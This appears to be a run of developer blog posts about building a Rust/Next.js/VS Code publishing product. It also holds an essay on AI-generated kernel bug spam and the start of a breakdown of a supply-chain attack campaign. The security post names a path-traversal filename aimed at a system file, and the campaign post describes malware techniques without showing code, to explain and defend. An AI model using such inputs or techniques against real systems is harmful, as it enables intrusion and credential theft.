By consuming the field, the dead-code analyzer had nothing to flag. We bypassed the compiler bug entirely — and gained structured logs as a bonus.

💡 Lesson: An ICE is the compiler's way of saying "this code revealed a bug in me." But the underlying cause is almost always real dead code or a degenerate abstraction. Fix the dead code first — #[allow(dead_code)] is a bandage, not a solution. You can also report the ICE to help the Rust team fix the compiler bug itself.

🗑️ Bug #3 — The "Success" That Wiped Everything

The Setup

With backend and network layers stable, we focused on UX polish inside the VS Code extension's webview. That's when users started reporting something maddening:

"I upload a cover image and my entire post — title, tags, content — disappears."

The Investigation

We traced it to a central MessageHandler inside the webview that listened for backend status events:

// ❌ The bug: generic "success" = nuclear reset
case 'status':
    if (msg.type === 'success') {
        resetAllComposers(); // Wipes title, tags, content, everything
    }

The logic made sense in isolation: a success status meant a post had been published to the cloud, so clear the UI for the next post.

The problem: uploading a cover image also emitted a success status. The event system didn't distinguish between:

✅ "Image uploaded successfully" (informational — keep the form)
✅ "Post published successfully" (workflow complete — reset the form)

Both were { type: 'success' }. The UI couldn't tell them apart, so it did what it was told: wiped everything.

The Fix

We separated informational success from workflow completion at the message contract level:

// ✅ The fix: explicit, semantic events

// Generic status messages only control spinners and toast notifications
case 'status':
    updateLoadingState(msg);
    showToast(msg.message);
    break;

// Dedicated events for actual workflow transitions
case 'shareComplete':
    resetMainComposer();
    break;

case 'blogShareComplete':
    resetBlogComposer();
    break;

The backend now emits shareComplete or blogShareComplete only when the final publishing transaction commits. Image uploads, connection checks, and other intermediate operations stay as status events.

💡 Lesson: Generic event types are a trap. When your event bus grows, { type: 'success' } is as meaningful as { type: 'thing happened' }. Name events after what specifically occurred — not the sentiment of the outcome. imageUploadComplete and postPublished are unambiguous. success is not.

🔐 Bug #4 — Bridging OAuth Across Three Services

The Problem

This wasn't a crash — it was a design gap. Our Next.js frontend handles OAuth handshakes with X, LinkedIn, and Dev.to. Our Rust backend needs those tokens to execute the scheduled posts. The VS Code extension needs to know which platforms are connected to render the right UI buttons.

Three services. One source of truth. Zero raw tokens exposed to the client.

The Architecture

We implemented a secure internal handshake with a strict data flow:

┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  1. User connects LinkedIn via Next.js OAuth flow           │
│                                                             │
│  2. Next.js → POST /v1/internal/credentials/sync (Rust)    │
│     Body: { user_id, platform, encrypted_token }            │
│     Auth: internal service secret (never client-exposed)    │
│                                                             │
│  3. Rust stores encrypted token, bound to user_id           │
│                                                             │
│  4. VS Code Extension → GET /v1/oauth/connections (Rust)   │
│     Response: { linkedin: true, x: false, devto: true }     │
│                    ↑                                         │
│              Boolean map only — no tokens, ever             │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Key security properties:

Tokens never touch the VS Code client. The extension only receives a boolean map of connected platforms.
The sync endpoint is internal-only. Protected by a service secret, not a user JWT.
Encryption at rest. Tokens are encrypted before storage in Rust, so even a database breach doesn't expose raw credentials.

The VS Code extension UI reacts dynamically — scheduling buttons enable/disable based on the boolean map, with zero coupling to the underlying OAuth tokens:

// Extension side — clean, no tokens in sight
const connections = await api.get<ConnectionMap>('/v1/oauth/connections');
// { linkedin: true, x: false, devto: true }

setScheduleButtonEnabled('linkedin', connections.linkedin);
setScheduleButtonEnabled('x', connections.x);
setScheduleButtonEnabled('devto', connections.devto);

💡 Lesson: When bridging auth across services, define exactly what each service needs to know — and nothing more. The VS Code client doesn't need tokens; it needs a boolean. Expose the minimum necessary data at each boundary.

Wrapping Up: The Bugs Live at the Seams

The individual stacks were each fine. Rust was fast and correct. Next.js was clean. The VS Code extension behaved exactly as expected in isolation.

Every single bug in this post happened at a boundary:

Node.js streams meeting a Rust multipart parser
A compiler analysis pass encountering dead code in an iterator chain
A generic UI event system conflating two different kinds of success
Three services needing to share auth state without sharing secrets

Cross-stack integration isn't about making things work — it's about making sure the assumptions baked into each ecosystem don't silently contradict each other. They will. Treat every boundary as a potential failure point, test each one in isolation before connecting them, and when something breaks, look at the interface before blaming the implementation.

That's how DotSuite went from a collection of three isolated services to one coherent, production-ready system.

This concludes the DotSuite Backend Architecture series. If you found this useful, the previous parts cover the concurrent cloud scheduler, the zero-trust media upload pipeline, and the OAuth flow in detail. Happy shipping.

Securing DotShare 3.3: Inside the Rust Media API (Magic Bytes, Atomic Quotas, & Race Fixes) - Part 3

freerave — Wed, 27 May 2026 10:14:16 +0000

How we built a production-grade Cloudflare R2 upload pipeline in Rust — with layered security, an atomic quota system, and a zero-trust file validation strategy.

In Part 2 of this series, we enforced Strict Separation and Fail-Fast validation to prevent silent scheduling failures and auto-refresh OAuth tokens in the background.

But our users still needed to attach images to their scheduled posts. And the moment you let users upload files to your server, you inherit one of the hardest problems in backend security: you can never trust what a user sends you.

Here is a deep dive into how we built the POST /v1/media/upload endpoint in Rust — with layered file validation, Cloudflare R2 storage, and an atomic quota system that closes a subtle but critical race condition.

The Problem: File Uploads Are a Security Minefield

Allowing file uploads without proper validation is one of the most common vectors for server compromise. The naive approach — checking the file extension or trusting the Content-Type header — is dangerously insufficient.

A malicious user can trivially rename exploit.php to photo.jpg and send it with Content-Type: image/jpeg. A server that trusts that header will store an executable PHP file in what it thinks is an image directory.

We needed a Zero-Trust validation pipeline. The rule: don't believe anything the client tells you. Verify everything from the raw binary.

Layer 1: Authentication & Body Size at the Router

Before a single byte of the file payload is even parsed, two guards run at the Axum router level.

The first is our existing Bearer JWT middleware — no valid token, no entry. The second is a global body size limit declared on the router itself:

// src/main.rs

use axum::extract::DefaultBodyLimit;

let app = Router::new()
    .route("/v1/media/upload", post(routes::media::upload_media))
    // ... other routes ...
    .layer(DefaultBodyLimit::max(10 * 1024 * 1024)); // 10 MB hard cap

This DefaultBodyLimit layer rejects oversized requests at the framework level — before our handler allocates any memory for the file. It is the outermost wall.

Layer 2: Magic Bytes Validation (Zero-Trust File Identity)

Inside the handler, we apply a second, stricter file size check (5 MB) and then the core of our zero-trust strategy: magic bytes validation.

Every legitimate image file format begins with a known binary signature, called a "magic number," embedded in the first few bytes of the file. JPEG files always start with FF D8 FF. PNG files always start with 89 50 4E 47. These cannot be faked without corrupting the file.

Here is our implementation:

// src/routes/media.rs

// Allowed MIME types and their corresponding magic bytes
const ALLOWED_TYPES: &[(&str, &[&[u8]], &str)] = &[
    ("image/jpeg", &[&[0xff, 0xd8, 0xff]], "jpg"),
    ("image/png",  &[&[0x89, 0x50, 0x4e, 0x47]], "png"),
    ("image/webp", &[&[0x52, 0x49, 0x46, 0x46]], "webp"), // RIFF header
    ("image/gif",  &[&[0x47, 0x49, 0x46, 0x38]], "gif"),
];

fn validate_magic_bytes(buffer: &[u8], mime_type: &str) -> Option<&'static str> {
    for (allowed_mime, magics, ext) in ALLOWED_TYPES {
        if *allowed_mime == mime_type {
            for magic in *magics {
                if buffer.starts_with(*magic) {
                    return Some(ext); // Return the verified extension
                }
            }
        }
    }
    None // Content-Type claimed a valid MIME but binary doesn't match — reject
}

This function does two things at once. First, it checks that the claimed Content-Type is on our whitelist. Second, it verifies that the actual binary content matches the claimed format. A renamed executable will fail this check because its binary signature will never match FF D8 FF.

Layer 3: UUID-Based Storage Keys (Path Traversal Prevention)

Even after validating the file content, we never use the client-supplied filename to construct the storage key. A filename like ../../../etc/passwd — known as a Path Traversal attack — could theoretically escape the intended storage directory.

Our solution is to discard the original filename entirely and generate a random UUID as the storage key:

// The raw client filename is intentionally discarded.
// UUID-based key — fully immune to path traversal.
let file_name = format!("dotsuite/scheduled_posts/{}.{}", Uuid::new_v4(), ext);

The extension comes from our validate_magic_bytes function — not from the client. The full storage path is entirely server-generated. The user's filename never touches the storage layer.

Layer 4: Atomic Quota Enforcement (Closing the Race Condition)

This is where it gets subtle. Our initial quota check looked reasonable:

// ❌ The naive (broken) approach
let current = user.images_used; // Read from DB
if current >= image_quota {
    return Err(quota_exceeded_error);
}
// ... upload the file ...
db.increment_images_used(user_id).await; // Write to DB

The flaw: there is a window between the read and the write. If two upload requests arrive simultaneously from the same user whose quota counter is at limit - 1, both will read current < limit, both will pass the check, and both will upload — incrementing the counter to limit + 1. The quota is silently bypassed.

We had already solved this exact pattern in our schedule_post route using MongoDB's find_one_and_update — an atomic operation that combines the check and the increment in a single database command. We applied the same fix here:

// src/routes/media.rs

// ── Atomic quota check + slot reservation ────────────────────────────────
// find_one_and_update eliminates the race condition: the check and the
// increment are a single atomic MongoDB operation, not two separate ones.
let quota_filter = if user.tier == Tier::Free {
    mongodb::bson::doc! {
        "_id": user_id,
        "$expr": { "$lt": ["$images_used", image_quota as i64] }
    }
} else {
    // Paid tiers have no hard cap — we still track for analytics.
    mongodb::bson::doc! { "_id": user_id }
};

let reserved = users_col
    .find_one_and_update(
        quota_filter,
        mongodb::bson::doc! { "$inc": { "images_used": 1 } },
    )
    .await?;

if reserved.is_none() {
    return Err(AppError::Forbidden(format!(
        "Image upload quota reached ({}/{} uploads). Upgrade to Basic for unlimited uploads.",
        user.images_used, image_quota
    )));
}

The database becomes the single source of truth. No two concurrent requests can both pass the quota gate because MongoDB guarantees the atomicity of findOneAndUpdate at the document level.

Layer 5: The R2 Upload & Quota Rollback

After the quota slot is reserved, we upload to Cloudflare R2 via the AWS S3-compatible SDK. But there is one more edge case: what if the R2 upload fails after we have already incremented the quota counter? The slot was reserved but no file was stored — the user's quota is penalised for a failure that wasn't their fault.

To handle this cleanly, we perform a rollback on R2 failure:

if let Err(e) = upload_result {
    tracing::error!("Failed to upload to R2: {:?}", e);

    // Rollback: return the slot so the quota isn't wasted.
    let rollback = users_col
        .update_one(
            mongodb::bson::doc! { "_id": user_id },
            mongodb::bson::doc! { "$inc": { "images_used": -1i32 } },
        )
        .await;

    if let Err(rb_err) = rollback {
        tracing::error!(
            "Failed to rollback images_used for user {}: {}",
            user_id, rb_err
        );
    }

    return Err(AppError::Internal(anyhow::anyhow!(
        "Failed to upload media to cloud storage"
    )));
}

The rollback is best-effort — we log a critical error if it fails, but we do not surface the rollback failure to the client.

The Complete Security Stack

Here is what runs on every single upload request, in order:

Layer	Mechanism	Rejects
1	Bearer JWT middleware	Unauthenticated requests
2	`DefaultBodyLimit` (10 MB)	Oversized requests before parsing
3	Handler check (5 MB)	Files within the body but over the per-file limit
4	Magic bytes validation	Wrong MIME type, renamed executables, corrupted files
5	Atomic `find_one_and_update`	Quota-exceeded requests (race-condition-free)
6	UUID storage key	Path traversal attacks
7	R2 upload + rollback	Storage failures without wasting quota

None of these layers is sufficient alone. Together, they form a defence-in-depth pipeline where each layer assumes the previous one could have been bypassed.

Conclusion

Building a production-grade file upload endpoint is deceptively complex. The surface-level logic — receive file, save to storage — takes an hour. The hardening takes days.

The three biggest lessons from this build:

Never trust Content-Type. A header is a claim, not a proof. Always read the raw binary signature of the file.
A quota check and a quota increment must be one atomic operation. Two database calls — even milliseconds apart — create a race window that determined users will find and exploit.
Reserve resources before the expensive operation, and roll back on failure. Incrementing the quota counter before the R2 upload, with a decrement on failure, is always safer than incrementing after a success that might never be recorded.

The POST /v1/media/upload endpoint is now a vault. In Part 4, we will build the Next.js scheduling UI that calls it.

(If you haven't read the previous deep dives, check out the full Ship on Schedule Series.)

Building DotShare 3.3: A Fail-Fast Rust Scheduler with Background OAuth Auto-Refresh (Part 2)

freerave — Mon, 25 May 2026 06:46:15 +0000

In Part 1 of this backend series, I broke down the core architecture of dotsuite-core — a private Rust backend powering 18 developer tools, complete with multi-tier scheduling and the "Look-Ahead + Sleep" pattern.

But as with any production system, solving one architectural challenge reveals the next. In our case: Silent Scheduling Failures and Expiring OAuth Tokens.

Here is a deep dive into how we implemented a Strict Separation model, adopted a Fail-Fast philosophy, and engineered a background worker in Rust to automatically refresh OAuth tokens before they expire.

The Problem: Doomed Scheduled Posts

DotShare allows developers to schedule social media posts directly from VS Code. Initially, our scheduling flow looked like this:

User writes a post in VS Code and clicks "Schedule".
The Rust backend accepts the payload, deducts the monthly quota, and saves it as Pending in MongoDB.
The background cron scheduler wakes up at the right time to publish.

The Flaw: What if the user hadn't connected their Twitter (X) or LinkedIn accounts via OAuth on the DotSuite dashboard yet?

The scheduler would wake up, search the database for the user's OAuth tokens, find nothing, and inevitably fail. The user's quota was burned, the database was polluted with doomed posts, and the user woke up to a silent failure.

Architecture Decision: Strict Separation & Fail-Fast

We needed a Strict Separation between local VS Code execution and Cloud Scheduling. If you want the cloud to schedule it, the cloud must have your OAuth tokens.

Instead of catching the error during the background cron tick, we applied the Fail-Fast principle right at the API gateway. The server must definitively verify the existence of the required platform credentials before doing anything else.

Here is the exact Rust code we added to our schedule_post route to enforce this:

// src/routes/posts.rs

// ── Pre-Quota: OAuth Credentials Validation ────────────────────────────
let creds_col = state.db.collection::<UserCredential>("user_credentials");

// Convert the requested platforms to BSON
let platforms_bson: Vec<bson::Bson> = body.platforms.iter()
    .map(|p| bson::to_bson(p).unwrap())
    .collect();

// Query MongoDB for existing credentials
let mut cursor = creds_col.find(doc! {
    "user_id": user_id,
    "platform": { "$in": platforms_bson }
}).await?;

let mut connected_platforms = std::collections::HashSet::new();
use futures_util::TryStreamExt;
while let Ok(Some(cred)) = cursor.try_next().await {
    connected_platforms.insert(cred.platform);
}

// Find exactly which platforms the user is missing
let missing_platforms: Vec<Platform> = body.platforms
    .iter()
    .filter(|&p| !connected_platforms.contains(p))
    .cloned()
    .collect();

if !missing_platforms.is_empty() {
    let names = missing_platforms.iter()
        .map(|p| format!("{:?}", p))
        .collect::<Vec<_>>()
        .join(", ");

    // Reject instantly before quota deduction!
    return Err(AppError::MissingOauth(
        format!("You haven't connected {} to DotSuite Cloud yet.", names),
        missing_platforms,
    ));
}

By adding a custom MissingOauth error variant in our errors.rs, the Axum backend generates a beautifully structured JSON response:

{
  "error": {
    "code": "MISSING_OAUTH_CREDENTIALS",
    "message": "You haven't connected X, LinkedIn to DotSuite Cloud yet.",
    "missing_platforms": ["x", "linkedin"]
  }
}

Premium UX in VS Code (TypeScript)

A structured error is only as good as the UX that presents it. In our VS Code extension, we intercept the MISSING_OAUTH_CREDENTIALS error code.

Instead of showing a generic "Server Error 400" toast, we display an actionable VS Code alert with an "Open Dashboard" button. This deep-links the developer straight into their DotSuite Cloud integration settings.

// DotShare/src/handlers/PostHandler.ts

const result = await SchedulerClient.schedulePost(context, postData, platforms, scheduledTime);

if (!result.success) {
    if (result.errorCode === 'MISSING_OAUTH_CREDENTIALS') {
        const action = 'Open Dashboard';
        vscode.window.showErrorMessage(
            '☁️ Cloud Scheduling requires secure OAuth. Please open the DotSuite Dashboard to connect your social accounts.',
            action
        ).then(selection => {
            if (selection === action) {
                // Deep link right to the login/integrations page
                const DOTSUITE_LOGIN_URL = `https://dotsuite.dev/en/login?intent=vscode`;
                vscode.env.openExternal(vscode.Uri.parse(DOTSUITE_LOGIN_URL));
            }
        });
    } else {
        vscode.window.showErrorMessage(`Failed: ${result.message}`);
    }
}

Now, the server doesn't waste space on dead posts, quota remains untouched, and the user gets a seamless, enterprise-grade onboarding experience.

The Next Boss: Background Token Auto-Refresh

We solved the missing credentials problem, but OAuth tokens have notoriously short lifespans (often exactly 1 hour). If a user schedules a post for tomorrow, their token will be expired by the time the scheduler wakes up.

To fix this, we integrated auto-refresh logic directly into our scheduler.rs worker. Right before publishing a post, the scheduler checks the token's expires_at timestamp. If it expires in less than 5 minutes, it transparently refreshes the token via HTTP, saves the new encrypted tokens to the database, and proceeds with the publish cycle.

Here is the implementation:

// src/scheduler.rs

let now = DateTime::now();

// Check if token expires in less than 5 minutes
if now.timestamp_millis() > oauth_token.expires_at.timestamp_millis() - (5 * 60 * 1000) {
    tracing::info!("Refreshing OAuth token for platform {:?}", cred.platform);

    let refresh_token_str = oauth_token.refresh_token_encrypted.as_deref().unwrap_or("");

    // Fetch API keys from environment
    let cid = std::env::var(format!("{:?}_CLIENT_ID", cred.platform).to_uppercase()).unwrap_or_default();
    let csec = std::env::var(format!("{:?}_CLIENT_SECRET", cred.platform).to_uppercase()).unwrap_or_default();

    // Match the platform to its specific refresh logic via reqwest::Client
    let refresh_result = match cred.platform {
        Platform::X => refresh_x_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        Platform::LinkedIn => refresh_linkedin_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        Platform::Facebook => refresh_facebook_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        Platform::Reddit => refresh_reddit_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        _ => Err(anyhow::anyhow!("Platform unsupported for auto-refresh")),
    };

    if let Ok((new_access_enc, new_refresh_enc, expires_in)) = refresh_result {
        // 1. Decrypt and use the newly fetched token immediately
        let plain_access = crate::crypto::decrypt_token(&new_access_enc, enc_key).unwrap();
        tokens.insert(cred.platform, plain_access);

        // 2. Save the new encrypted tokens back to MongoDB atomically
        let new_expires_at = DateTime::from_millis(now.timestamp_millis() + (expires_in as i64 * 1000));
        let update_doc = doc! {
            "$set": {
                "oauth_token.access_token_encrypted": new_access_enc,
                "oauth_token.refresh_token_encrypted": if new_refresh_enc.is_empty() { None::<String> } else { Some(new_refresh_enc) },
                "oauth_token.expires_at": new_expires_at,
                "updated_at": DateTime::now(),
            }
        };

        creds_col.update_one(doc! { "_id": cred.id.unwrap() }, update_doc).await.unwrap();
        tracing::info!("✅ Successfully saved refreshed token for {:?}", cred.platform);
    }
}

By decoupling the refresh logic into the background worker, the user never experiences HTTP round-trip delays when they click "Schedule" in VS Code. The tokens remain perpetually active as long as they are using the service, and everything happens completely behind the scenes.

Conclusion

By enforcing Strict Separation (validating cloud tokens explicitly on schedule) and leaning into the Fail-Fast design pattern, we protected our backend from pointless processing, saved the users' quotas, and improved the UX significantly.

Coupled with a resilient, auto-refreshing background job, the scheduling architecture is now as robust as the industry giants.

The biggest takeaway for your next API? Don't let your system silently fail. Stop the user at the gate, tell them exactly what they need to do with a structured JSON error, and give the frontend enough context to render a button that solves the problem for them!

(If you haven't read the previous deep dives, check out the full Ship on Schedule.)

Testing DotShare Cloudflare Image Upload

freerave — Sun, 24 May 2026 10:39:45 +0000

Testing Cloudflare R2 Integration

This is a test article to verify that the DotShare Cover Image Upload feature is working perfectly with Cloudflare R2 and the Rust backend.

What are we testing?

Selecting an image via the VS Code extension.
Converting the image to a Buffer via axios instead of native fetch.
Verifying that the Axum Rust server detects the magic bytes correctly.
Ensuring the Cloudflare R2 upload succeeds and returns a public URL.

If you can read this on Dev.to and see the cover image, then the end-to-end media upload pipeline is fully operational! 🚀

Linus Torvalds Just Said What Everyone Was Thinking: AI Bug Spam Is Killing the Linux Kernel Security List

freerave — Sat, 23 May 2026 12:31:41 +0000

AI tools are flooding the Linux kernel's security mailing list with duplicate, low-quality bug reports. Linus Torvalds drew the line. Here's what actually happened, why it matters, and what real contribution looks like.

TL;DR: AI tools lowered the cost of finding potential bugs. They didn't lower the cost of understanding them. When that second step gets skipped at scale, maintainers absorb all the noise. That's what just broke the Linux kernel's security mailing list.

On May 17, 2026, while announcing the fourth release candidate of Linux 7.1, Linus Torvalds did something he rarely does: he stopped talking about code and started talking about people.

Not in a nice way.

His message was direct: the Linux kernel's private security mailing list has become "almost entirely unmanageable." The reason? A relentless, accelerating flood of AI-generated bug reports — duplicate, low-quality, and most damaging of all, written by people who have no idea what they're looking at.

This isn't a minor complaint. It's a signal that a structural problem has reached a breaking point inside one of the most critical open-source projects on the planet.

What Actually Happened

Torvalds posted his weekly "state of the kernel" note alongside the Linux 7.1-rc4 release. Alongside routine notes about driver updates, GPU patches, and filesystem work, he flagged a documentation update — and then explained why that documentation now exists.

The story is straightforward: AI-powered static analysis tools have become cheap and accessible. Researchers and developers have started pointing them at the Linux kernel source tree. The tools find things. Those people then report those things — directly to the private security mailing list — with zero additional investigation.

The result? Multiple people independently scanning the same codebase with the same tools, finding the same issues, and all sending separate reports. Maintainers are spending entire work sessions doing nothing but:

Forwarding reports to the correct subsystem owner (because the sender didn't know who to contact)
Replying with "this was fixed three weeks ago"
Explaining that the reported behavior is not, in fact, a security vulnerability under the kernel's threat model

Torvalds described it bluntly:

"entirely pointless churn... a waste of time for everybody involved."
— Linus Torvalds, Linux 7.1-rc4 announcement

The New Rule: AI Bugs Go Public

The kernel project responded with a documentation update that now formally addresses this. The rule is simple:

If you found a potential bug using an AI tool, you report it publicly — not through the private security list.

This isn't punitive. It's architectural. The private security list exists for coordinated disclosure of genuine, undisclosed, exploitable vulnerabilities. It requires maintainers to treat every incoming report as potentially sensitive, investigate quietly, coordinate patches, and manage disclosure timing. That process has a real cost.

Flooding it with AI-scanner output that hasn't been manually triaged destroys the signal-to-noise ratio that makes the channel valuable in the first place. By routing AI-assisted findings to public channels, the kernel team can apply community triage, filter duplicates openly, and avoid burning out the handful of people who manage private security coordination.

The Real Problem: Nobody Read the Threat Model

Here's the part most coverage glossed over.

A significant portion of these reports aren't just duplicates — they're misclassified. Regular bugs being reported as security vulnerabilities because the person submitting them didn't understand the Linux kernel's threat model.

The Linux kernel has a well-documented threat model. Not everything that looks dangerous in isolation is actually exploitable in a real attack scenario. Memory patterns that look like vulnerabilities to an AI scanner may be:

Intentional design decisions with documented trade-offs
Already behind access controls that prevent exploitation
Not within the kernel's defined attack surface
Already fixed and the reporter just hasn't checked

When someone dumps an AI report without reading the threat model, without checking the bug tracker, without verifying against recent commits — they generate noise dressed as signal. And they force experienced maintainers to spend time they don't have dismantling it.

Torvalds was explicit: he doesn't want drive-by contributors who send a random report and disappear. If you found something, he wants you to:

Understand what you found
Check if it's already fixed
Read the relevant subsystem documentation
Submit a patch, not just a report

Not Everyone Agrees With Torvalds (And That's Fine)

This wouldn't be a real Linux story without disagreement.

In March 2026, kernel maintainer Greg Kroah-Hartman told The Register something different: AI bug reports had shifted from low-quality noise to genuinely useful contributions. His experience was that the quality had improved meaningfully.

Separately, Nvidia kernel engineer Sasha Levin proposed a completely different architectural response — a Linux kernel killswitch mechanism that would allow administrators to disable vulnerable kernel functions temporarily while waiting for patches to land. A defensive posture rather than a gatekeeping one.

So even inside the kernel community, people are landing on different solutions. Torvalds is focused on the noise problem. Levin is thinking about operational response when real bugs exist. Kroah-Hartman sees the glass half full.

All three perspectives are legitimate. The situation is genuinely complex.

What This Looks Like From Outside the Kernel

Step back and the pattern is recognizable anywhere large-scale open source intersects with AI tooling.

AI lowers the cost of finding something. It does not lower the cost of understanding it. The gap between those two things is where the problem lives.

When you run a static analyzer on a 30-million-line codebase and it returns 400 potential issues, the analyst's job — the expensive, skilled, irreplaceable part — is to figure out which 5 of those 400 actually matter. AI accelerated step one. It didn't automate step two.

What's happening in the Linux security list is that people are skipping step two entirely and going straight to reporting. They've mistaken the output of a tool for the output of analysis.

This is a workflow problem masquerading as an AI problem.

The same thing happens in vulnerability research broadly. Automated scanners find candidates. Human researchers validate them. If you remove the validation step and ship the candidates directly, you create noise. The scanner doesn't know what it found. Only the researcher does — after they investigate.

The Contribution Discipline Problem

There's also a more uncomfortable subtext here that's worth naming.

Some portion of this behavior is reputation-seeking. If an AI tool surfaces a potential kernel bug and you file a report, you've done something — you found a Linux kernel vulnerability. That sounds impressive. It doesn't matter if it was already fixed, already known, or not actually a vulnerability. The action itself produces a story you can tell.

This is the gamification of contribution. And it's corrosive to open-source projects at scale because it turns the maintainer's inbox into everyone else's achievement farm.

As someone who maintains open-source CLI tools and VS Code extensions — projects that are nowhere near the scale of the Linux kernel — I can tell you that a single low-quality automated issue report costs more energy to process than it took to generate. You open it hoping it's a real edge case someone hit in production. Instead it's a scanner output with no reproduction steps, no context, and no indication the reporter ever ran the code. That friction kills momentum on a real roadmap.

Real contribution to the Linux kernel — and to any serious open-source project — requires doing the boring, unglamorous work:

Reading documentation nobody told you to read
Tracing code paths through subsystems you didn't write
Checking the git log before filing anything
Writing a patch when you find something real
Accepting that a maintainer might reject it and explaining why

That's not a rant. That's the entry price. The kernel community has always been demanding about this because the stakes are high. You're shipping code that runs in data centers, medical devices, spacecraft, and billions of phones. "I found it with an AI scanner" is not a sufficient bar.

What the Right Process Actually Looks Like

If you want to do AI-assisted security research on the Linux kernel and have it mean something, here's what that process actually requires:

Before you scan:

Read the Linux kernel security documentation
Understand the kernel's documented threat model
Know which subsystem owns what you're about to look at

When the scanner returns results:

For each finding, check the git log: git log --all --oneline -- <file>
Search the mailing list archives for the relevant function or symbol
Check if there's an existing CVE or bug report
Actually read the code the tool flagged — does the behavior make sense in context?

If you believe it's real and unfixed:

If it's a genuine undisclosed security vulnerability: follow the private disclosure process
If it was found via AI tooling: per the new documentation, report it publicly
Write a reproducer if possible
Write a patch if you can

The gold standard:

Report the bug and attach a fix
This is what Torvalds actually wants from external contributors

The Broader Signal

This situation is an early case study in what happens when AI tooling becomes commoditized and the friction of contributing drops toward zero.

Lower friction isn't always better. In systems where quality matters — and the Linux kernel's security process absolutely qualifies — the friction was doing useful work. It filtered out reports from people who hadn't done enough thinking. Remove the friction without replacing it with something else, and you get spam at scale.

The kernel team's response — routing AI-assisted reports publicly, requiring more documentation, being explicit about what they do and don't want — is essentially rebuilding that friction selectively. Not to keep people out, but to ensure that what gets through is worth the cost of processing it.

That's a reasonable response to an unreasonable situation.

What would be more interesting — and what Sasha Levin's killswitch proposal hints at — is whether the kernel community can eventually build infrastructure that uses AI on the maintainer side to triage incoming reports. Use AI to fight AI spam. Several Slashdot commenters made the same point: an LLM with access to the bug tracker and git history could probably classify "likely duplicate / already fixed / not a security issue" at high accuracy with minimal training.

That's the architectural play. Not refusing AI. Not accepting the noise. Building a better filter on the receiving end.

The Bottom Line

Linus Torvalds didn't say AI tools are bad. He said using them without understanding what they're telling you, without doing the subsequent analysis, and without caring whether the report is useful to anyone — that's a waste of everyone's time.

He's right.

AI lowers the cost of finding candidates. It doesn't replace the judgment required to know what you actually found. And when that judgment gets skipped at scale, the maintainers absorbing the impact pay the price.

The new documentation rule is a reasonable line to draw. The harder question — how open-source projects manage contribution quality as AI tooling becomes universal — is one the entire ecosystem is going to have to answer.

The Linux kernel just got there first.

Have you run into AI-generated noise in open-source projects you contribute to or maintain? How are you handling triage at scale? Drop it in the comments.

TeamPCP Broke GitHub — And Nobody Saw It Coming (But They Should Have)

freerave — Fri, 22 May 2026 11:23:23 +0000

A deep technical breakdown of how TeamPCP / UNC6780 ran a 3-month supply chain campaign ending in GitHub's own internal breach. Timeline, attack anatomy, IOCs, and what every developer needs to lock down NOW.

TL;DR: Between March and May 2026, a financially motivated threat group called TeamPCP executed the most sustained developer supply chain campaign in recent history — compromising Trivy, Checkmarx, Bitwarden CLI, axios, TanStack, Mistral AI, OpenAI, and finally GitHub itself. The final vector: a VS Code extension live for 18 minutes. That was enough.

Why I'm Writing This

I've been following the 2026 breach cluster since the ShinyHunters identity-layer pivot. But TeamPCP is a different animal. ShinyHunters went after third-party vendor credentials. TeamPCP went after you — your laptop, your VS Code, your npm tokens, your GitHub PAT sitting in ~/.gitconfig.

If you write code, you are the attack surface. Full stop.

The Actor: Who is TeamPCP / UNC6780?

Alias	Tracker
TeamPCP	Self-identified on BreachForums
UNC6780	Google Threat Intelligence Group
PCPcat	Infrastructure alias
DeadCatx3	Malware signing alias
ShellForge / CipherForce	Operational aliases

Motivation: Purely financial. No geopolitical agenda. They steal credentials, sell data, and run extortion. They've also partnered with ransomware group Vect — signaling a possible pivot from credential theft toward full-scale extortion operations.

Signature tells:

Payloads skip systems with Russian locale (LANG=ru_RU) — Eastern European cybercrime tradecraft
RSA public key reuse across campaigns (Wiz's high-confidence attribution signal)
Shared cipher salt and dead-drop string lineage across malware families
Prefer orphan commits in official repos as payload hosting to evade takedowns
Use steganography (WAV audio files) and .pth persistence for evasion

The Full Timeline: 3 Months of Escalation

Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2
Mar 25 ──── Checkmarx KICS Docker images
Mar 26 ──── LiteLLM (AI gateway) → .pth persistence
Mar 27 ──── Telnyx SDK → WAV steganography payload
Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL]
Apr 22 ──── Checkmarx KICS VS Code extension
Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating
Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client
May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes
May 12 ──── @mistralai/* npm packages (bug in payload — non-functional)
May 12 ──── @uipath/* npm packages
May 13 ──── Shai-Hulud source code published to GitHub under MIT license
May 13 ──── $1,000 Monero supply chain attack contest on BreachForums
May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector)
May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload
May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes]
May 19 ──── GitHub detects breach, starts incident response
May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated

Attack Anatomy — How Each Wave Worked

Wave 1 (March): Trivy — The Credential Rotation Mistake

The campaign started with a mistake by Aqua Security: incomplete credential rotation after a prior incident.

CVE-2026-33634 (CVSS v4.0: 9.4) — Listed in CISA KEV catalog, remediation deadline April 9, 2026.

1. TeamPCP obtains stale Trivy publish credentials
2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action
3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2
   → Censorship-resistant command-and-control. Can't be taken down by domain seizure.
4. Any CI pipeline running Trivy: compromised

Why ICP canisters? Traditional C2 infrastructure can be taken down (domain seizure, IP block). ICP runs on a decentralized blockchain. You can't "block" it. This is a meaningful evolution in C2 design.

Wave 2 (Late March): LiteLLM — .pth Persistence

LiteLLM is the AI gateway library. It sits between your app and OpenAI/Anthropic/whatever. Extremely high-value target.

# What the malicious .pth file looked like conceptually:
# /usr/lib/python3.x/site-packages/mal.pth

